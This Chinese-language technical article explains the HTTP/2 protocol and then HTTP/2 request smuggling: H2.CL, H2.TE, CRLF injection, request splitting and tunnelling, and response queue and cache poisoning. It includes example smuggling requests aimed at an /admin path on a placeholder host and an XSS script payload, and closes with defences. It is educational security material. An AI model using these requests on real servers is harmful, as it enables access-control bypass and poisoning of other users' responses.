HTTP2请求走私深入刨析
字数 1569 2025-08-23 18:31:17
HTTP/2请求走私深入分析与防御指南
协议概述
HTTP/2是HTTP协议自1999年HTTP 1.1发布后的首个重大更新,由IETF的httpbis工作小组开发,2015年2月17日被批准。主流浏览器在2015年底已支持该协议,截至2017年5月,排名前一千万的网站中有13.7%支持HTTP/2。
核心特性
头部压缩
HTTP/2采用HPACK算法进行头部压缩:
- 使用静态表(预定义头部字段)和动态表(存储动态变化字段)
- 两种编码方式:静态编码(使用预定义索引)和动态编码(使用索引号、字面量编码和哈夫曼编码)
- 示例:原始头部字段压缩为二进制表示,显著减少传输开销
二进制传输
HTTP/2引入二进制成帧层,改变了数据交换方式:
- 流(Stream):连接中的双向字节流,可携带多条消息
- 消息(Message):映射到逻辑请求/响应的完整帧序列
- 帧(Frame):最小通信单元,包含帧头和负载
多路复用技术
HTTP/2的多路复用特性:
- 允许并行交错多个请求/响应帧
- 消除HTTP/1.x的解决方法(如连接文件、图像精灵和域分片)
- 提高网络利用率,缩短页面加载时间
帧格式详解
HTTP/2帧通用格式:
+-----------------------------------------------+
| Length (24) |
+---------------+---------------+---------------+
| Type (8) | Flags (8) |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) |
+=+=============================================================+
| Frame Payload (0...) |
+-----------------------------------------------+
帧类型
- DATA帧(0x0):传输HTTP请求/响应的实际数据
- HEADERS帧(0x1):传输HTTP头部信息
- PRIORITY帧(0x2):指定请求/响应的优先级
- RST_STREAM帧(0x3):终止或重置指定流
- SETTINGS帧(0x4):交换配置参数
- PUSH_PROMISE帧(0x5):服务器主动推送资源
- PING帧(0x6):双向心跳检测
- GOAWAY帧(0x7):通知连接关闭
- WINDOW_UPDATE帧(0x8):调整流窗口大小
- CONTINUATION帧(0x9):传输拆分后的头部块
请求走私攻击
协议降级风险
HTTP/2降级是将HTTP/2请求重写为HTTP/1请求的过程,使攻击者可能引入请求走私所需的模糊性。
H2.CL漏洞
攻击原理:
- 前端使用HTTP/2内置长度机制
- 后端使用注入的Content-Length头
- 示例攻击请求:
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
content-length 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
x=1
H2.TE漏洞
攻击原理:
- HTTP/2不兼容分块编码,但前端未剥离Transfer-Encoding头
- 后端支持分块编码
- 示例攻击请求:
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
高级攻击技术
响应队列中毒
攻击流程:
- 发送完整请求使后端收到两个请求
- 前端将第一个响应映射到初始请求
- 第二个响应保存在队列中
- 后续请求将收到队列中的响应
关键要求:
- TCP连接在多个请求/响应周期中重用
- 能发送完整请求并接收独特响应
- 不导致服务器关闭连接
CRLF注入
利用HTTP/2二进制格式特性:
- HTTP/2中\r\n在头值中无特殊意义
- 降级为HTTP/1时,\r\n被解释为头分隔符
- 示例:
:method GET
:path /
:authority vulnerable-website.com
foo bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com
请求拆分
在消息头中拆分请求:
:method GET
:path /
:authority vulnerable-website.com
foo bar\r\n
Host: vulnerable-website.com\r\n
\r\n
GET /admin HTTP/1.1
请求隧道
当传统请求走私不可行时:
- 发送一个请求,从后端得到两个响应
- 绕过前端安全措施
- 示例:
:method POST
:path /comment
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
foo bar\r\n
Content-Length: 200\r\n
\r\n
comment=
X-Internal-Header: secret
Content-Length: 3
x=1
实际攻击案例
缓存投毒
通过请求隧道实现:
- 将响应头与另一个响应的主体混合
- 利用未编码的用户输入实现XSS
- 示例:
:status 200
content-type text/html
content-length 174
HTTP/1.1 200 OK
Content-Type: application/json
{"name": "test<script>alert(1)</script>"}
防御措施
- 禁用HTTP/2降级:避免协议转换带来的风险
- 严格验证头字段:特别是Content-Length和Transfer-Encoding
- 规范化CRLF序列:防止头注入攻击
- 连接隔离:不同用户/会话使用不同后端连接
- 实施严格的长度检查:确保HTTP/2内置长度与Content-Length一致
- 更新中间件:使用最新版本的前端/后端服务器
总结
HTTP/2请求走私攻击利用协议降级和解析差异,通过精心构造的请求实现前端与后端之间的请求处理不一致。防御需要全面考虑协议特性、服务器配置和安全策略,特别是在混合协议环境中。